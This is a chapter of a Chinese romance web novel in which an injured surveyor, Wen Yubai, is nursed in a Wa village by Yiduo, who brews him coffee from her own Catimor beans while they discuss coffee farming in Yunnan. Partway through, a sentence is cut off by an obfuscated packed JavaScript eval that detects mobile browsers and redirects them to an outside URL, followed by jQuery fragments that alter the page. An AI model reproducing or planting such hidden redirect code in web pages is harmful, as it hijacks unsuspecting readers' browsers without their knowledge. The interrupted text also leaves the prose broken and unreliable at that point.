[你问我为什么种咖啡，我说了很多很多理由。但最初，我其实连咖啡都不知道，只是撞翻你的咖啡，要赔给你一杯而已。]
chapter 03
温聿白再次醒来的时候世界一片安静。
两耳空空，大脑也空空。
没想到他竟然昏过去了。
而后慢半拍地想起自己为什么会在这儿了。
他翻车了。
然后被一个姑娘救了。
温聿白看了眼环境，屋内光线昏暗，头顶是一根根木头搭建的房梁。而他躺在一张木床上，正对着一扇木窗，窗外秋雨绵绵，灰蒙蒙的天色，难怪屋内光线暗得快要看不清。
正要从窗户收回视线，鼻腔忽然闻见一股坚果焦糖味的浓香，浓香中又带着一股淡淡的果木酸。
思绪微微停滞了一下，他轻轻嗅了嗅，这是——咖啡豆的香味。
用古法烘焙而成，因为有碳火的味道，豆子……应该是卡蒂姆。
云南西南部地处北回归线附近，因纬度低、海拔高的独特地理环境形成了亚热带季风气候，使得高黎贡山以南的保山等地水热条件适宜，成为了全国乃至全球的咖啡黄金种植带。
这其中，卡蒂姆原豆因抗叶锈病强、适应性强、产量高，与云南西南部亚热带季风气候及微酸性山地红壤高度契合。近年来逐渐成为滇西南部助农推广主要品种，也称为云南小粒咖啡……
等温聿白回过神时，脑海里已经自动滑过这段关于云南咖啡的科普介绍了。
上半年，他在腾冲边境、中缅界碑共和国一号到九号界段勘探期间，曾路过全国最大的咖啡种植园区。因与庄园老板投缘，故而小住几天，这才对云南小粒咖啡有了全面的了解。
但那是保山，可这里不是梦县吗？
男人视线微转，往香味来源处看去。
一炉烧得旺盛的小火炉放置在他床前不远处的木板地上，穿着独特民族服饰的姑娘侧对他而坐，手里不断颠簸着一口巴掌大的小铁锅，锅里咖啡豆被烘得逐渐焦黄。
坚果焦糖味的咖啡香就是从这里散发出来的。
他安静地看着。
几分钟过去，她拿过旁边的竹编小簸箕，将烘得焦黄的咖啡豆进簸箕放到一边晾着，随后把地板上放着的小陶罐端起来放在火炉上煨着。
正端过小石杵臼，似乎感受到他的视线，她猛地转过头来，漆黑的眼一下亮了起来，嘴唇开合：“你醒啦！”
温聿白想起翻车前那道黄鹂似的嗓音，平淡地应了声。
他屈肘撑着床起身，那姑娘飞快过来，满室的咖啡香气中混入一股舒肤佳的清润气息，他坐了起来。
她似乎说了什么。
他抬眸，看向她的脸，出声问：“你刚刚说什么？”顿了顿，补充，“我没注意到。”
依朵愣了下，随即被他专注的视线盯得有点挨不住，心脏不争气地砰砰乱撞。不知道他在看什么，她已经洗过脸梳过头了。
依朵不自在地别了别耳后的头发，嗓音低下去，说起练了好久的普通话：“你的腿，还疼吗？”
温聿白垂眼，动动腿，轻轻嘶了声，“是还有点儿疼。”又抬起头看她，“谢谢你救了我。”
他只记得被她背到路边，那时还感叹她一个姑娘家竟然有如此大的力气，随后躯体化发作得格外猛烈，失血过多更是使得他眼前一阵阵发黑，往后一倒便什么都不记得了。
依朵再次对上他漆黑的眼眸，不自在又一次爬上背脊。
她轻握手心，说话竟然结巴了起来：“是是我家的牛先撞了你，对对不起。本来应该送你去卫生院的，但那时候……没车。”
她小心地看他一眼，见他没什么反应，又飞快接上：“我就先把你背回寨子了，不过你放心，寨子里的叶阿婆来看给你看过了，包了药的。”
温聿白垂首，掀开玫红黑相间的被子，他受伤那条腿的小腿肚上绑着黑色的布料，有草药的味道散发出来，他没说什么，重新盖上被子。
依朵在旁边小心翼翼地看着他，轻咳一声：“叶阿婆的药很好用的，如果你实在担心的话，我去请达永（村长）送你去卫生院……”
男人没反应，浑身散发着一股生人勿近的淡漠气息。漆黑蓬松的脑袋低垂着，一截骨节分明的后颈从衣领里露了出来，皮肤白到透明。
依朵心脏顿时扑通扑通提起，视线飞快挪开。她从前不觉得白色好看，佤族喜爱黑红两色，黑得越深，代表越健康。但自从遇见了他之后，她觉得世界上除了黑色外最好看的颜色就是白色了。
你看那湛蓝天空里的云朵、纯洁无暇的纸张、电视机里新娘的裙摆……无一不是美好的白色。
从上海回来，不知道他姓甚名谁的那几年，她一抬头看见天空中洁白的云朵就会想起他，想起他身上的白衬衣，想起他俊美白皙的脸……
因此她心里，总把他比作天上的云朵。
屋里静悄悄的。
静到屋外风吹雨淋的声音是那样的清晰。
依朵吞咽了一下嗓子，指甲掐住掌心，硬着头皮再次开口：“如果你担心伤口，我这就去——”
男人忽然抬起头，笔直的目光再次落在她的脸上，依朵喉咙一卡，再也说不出来。
他出声问：“你刚刚说什么？”声音很好听，但却有些轻飘飘的。
温聿白说：“不好意思，刚刚走神了一下。”
原来是走神了啊，不是故意不理她的。
依朵急忙摆了摆手，尽量习惯他的目光，说：“如果你担心伤口，我这就去达——”顿了下赶忙改口，“村长家请他送你去卫生院……”
整个寨子只有村长家有车，也不知道他在不在寨子里。
温聿白摇了摇头，随意说：“血止住就没事了。”他对自己的伤口不怎么在意，反而转向地板上那一堆东西，“你在煮咖啡吗？”
话题跳跃有些快，依朵愣了一下，跟着他的视线转向火炉，“是的呢。”
男人似乎没听见，眼睛看着快要沸腾的瓦罐，“不煮吗？”
他又转头来看她。
依朵虽然还是有些不自在，但已经没有一开始被他看着时那么紧张了。
她发现，他会在别人说话时认真地看向那个人，是一种尊重他人的表现，应当是跟他的良好教养有关。
她吞了吞喉咙，声音不知怎么地也跟着发飘：“你，你喝咖啡吗？”
温聿白看着她，不知是不是她的错觉，她看见他漆黑的眸子里闪过一丝波纹，依朵还来不及看清，他就出声反问：“要煮给我喝吗？”
依朵点头。
她在心里补充：就是专门煮给你的咖啡。
当是赔你四年前那杯。
哪怕你已经不记得了。
温聿白说：“那就先说声谢谢了。”
依朵再次摆摆手，看了他一眼，走回火炉旁，继续刚才的工作。把小石杵臼摆好，原本习惯要直接动手抓豆，反应过来后跑出去拿了一把瓷勺回来，一小勺一小勺舀起来倒进杵臼里，又一下一下地舂磨了起来。
房间再次安静下来，屋外风雨潇潇，屋内杵臼舂磨，炉火旺盛。
温聿白安静地看着姑娘忙碌的身影，片刻，他转眼看向窗外。
远山氤氲，秋雨压低树梢的枝头，绿叶轻轻晃动，暖融融的咖啡香拂过鼻腔。
那片刻，他心里从未有过的宁静。
人生或许很少有这样安宁的时刻，至少对他来说，活着仍有意义。
磨好咖啡，依朵把咖啡舀进小瓷碗里，等瓦罐里的水沸腾时把咖啡粉倒进去，沸腾一道后再加了一次清水，等第二道沸腾时端下来。
她转过头问他：“要加糖吗？”
温聿白视线落在她的脸上，摇了摇头，看她手法熟练，便问：“家里是专门种咖啡吗？”
依朵摇摇头，“没，就随便种了几棵。”
她将咖啡倒进瓷白色的小碗里。没办法，家里没有专门喝咖啡的咖啡杯，只能用碗了。
她端起来递给他，手指不知道为什么有些抖。
“你，你喝喝看。”
温聿白接过，又说了声谢谢，垂眼轻轻抿了口。咖啡口感醇厚，酸度柔和，苦味微弱，咽下去后有淡淡的焦糖味回甘。
依朵紧张地看着他。
自从去年收了自己种的咖啡豆之后，她这一年来煮过不知多少次咖啡了。
近几年，政府在大力推广咖啡种植，茶城市最大的咖啡种植基地异地扶持梦县，成立咖啡合作社，向百姓免费发放咖啡苗的同时自然也开设了咖啡相关知识的培训课，从种植培育到挂果管理、采摘处理到最后的烘焙研磨。
依朵每逢赶街都会去乡上的乡村振兴单位，或者条件允许就去县合作社开设
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472284|201559||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的培训课去旁听学习。但因为不连续，学得不怎么精通，也不知道用自己种的豆子煮出来的咖啡味道怎么样。
温聿白抬眸就看见皮肤黝黑的姑娘一脸紧张地看着自己。
她的五官其实很漂亮，浓眉大眼、鼻梁高挺、唇形丰润，骨相大气端正，乌发也浓密。
或许是少数民族的原因，炯炯有神的大眼睛里永远有光，看着就能感觉到生命的力量。
依朵见他不说话，急得都舔了舔干涩的嘴巴了。
没事的，不好的她也能接受。
温聿白忽而笑了下，说：“味道不错。”
依朵提着的心落地了，稍稍松了口气，随即开心起来。
他说不错呢，而且刚刚他还笑了！
“只是——”
依朵刚雀跃起来的心滞住，直愣愣抬头看他。
温聿白指尖轻点了下咖啡碗，说：“风味很单一。”
依朵不懂风味单一是怎么个单一法，只觉自己弄的有问题，急忙说：“我，我会努力改进的！”
男人眼底滑过一丝波澜，唔了声，说：“风味单一是卡蒂姆原豆的短板，只跟海拔气候有关，你难不成想改进地理环境？”
依朵愣住，随即看了他一眼，又看一眼。
嘴唇蠕动，想说什么，最终没说。
这是……逗她呢？
男人对上姑娘狐疑的视线，眼尾轻抬，不避不让。
他是看她对他过于小心翼翼了，整个人处在一种紧绷的状态里。
这应该不是她的本色，他猜到些许原因——她家的牛撞翻他的车，她为此感到自责。
可在那种情况下，如果没有她，今天他是什么情况犹未可知。现在他能好好活在这里，说声感谢也不为过。
但他知道，说出来她会更加小心翼翼，索性不说。
再次抿了口咖啡，温聿白转开话题：“茶城现在不是大力推广咖啡种植么，你家怎么只种几棵呢？”
依朵垂下眼，抠抠瓦罐的把把，低声说：“阿妈觉得是骗人的，寨子里的人也说咖啡听都没听过，肯定卖不成钱，还不如种茶。”
阿妈一辈子就在这座山里，最远只去过县城，连市里都没去过，寨子里的人也是，走出去见过世面的很少。
而整个梦县，种咖啡的就更少了。
前几年倒是有大老板来包地种了，可惜没赚到钱，跑路了，连老百姓的地租都欠着呢。
都说好事不出门，坏事传千里，这事当初可是传遍了大村小寨呢。
而茶城之所以是茶城，就是因为全市茶叶占了全省茶叶的百分之八十，是我国茶叶产量较大的城市。因此茶叶才是茶城的主要经济农作物，也是茶城农民的重要收入来源。
她能种这么几棵，还都是阿哥支持的结果呢。
温聿白挑眉，垂眼看向地板上她那一整套的咖啡工具，“你很喜欢咖啡？”
“……喜欢的。”
说起跟他有关的事，依朵有些微微的不自在，“哥哥说咖啡在大城市里很流行，我们这里据说气候条件适宜。我，我想种一些试试。”
最后一句有些底气不足，眼皮都垂下去了。
温聿白看出来了，他端着暖和的咖啡，一时没说话，只抬眸看向窗外灰蒙蒙的天。
雨不知何时停了。
好半晌，男人轻声说：“咖啡如今已经风靡全世界，是西方国家的重要经济产物之一，并被外国人列为世界三大饮料之首。”①
“我国一二线大城市对咖啡的需求也在持续增长，日益旺盛的市场推动下，咖啡将迎来爆发式的消费升级，这是个难得一遇的大机遇。”
“但它的生长对自然环境有着非常严苛的水热要求，全球也只有少数几个地处北回归线的国家适合种植，而中国，更是少之又少。”
他转回头，看着她的眼，“这么好的种植条件，又有这么好的市场前景，试试又如何呢。”
依朵眼睛再次亮起，甚至亮得惊人，“真，真的吗？市场真的这么好吗？能让我们脱贫致富？”
温聿白看着她眼底的惊喜，沉默片刻，问：“你当初……到底是为什么要种咖啡？”
依朵目光闪躲着挪开了，揉了揉鼻子，支吾道：“那市里不是在推广嘛。哥哥也说咖啡好，而且这批苗苗也不要钱，我就领回来种了。”
温聿白：“………”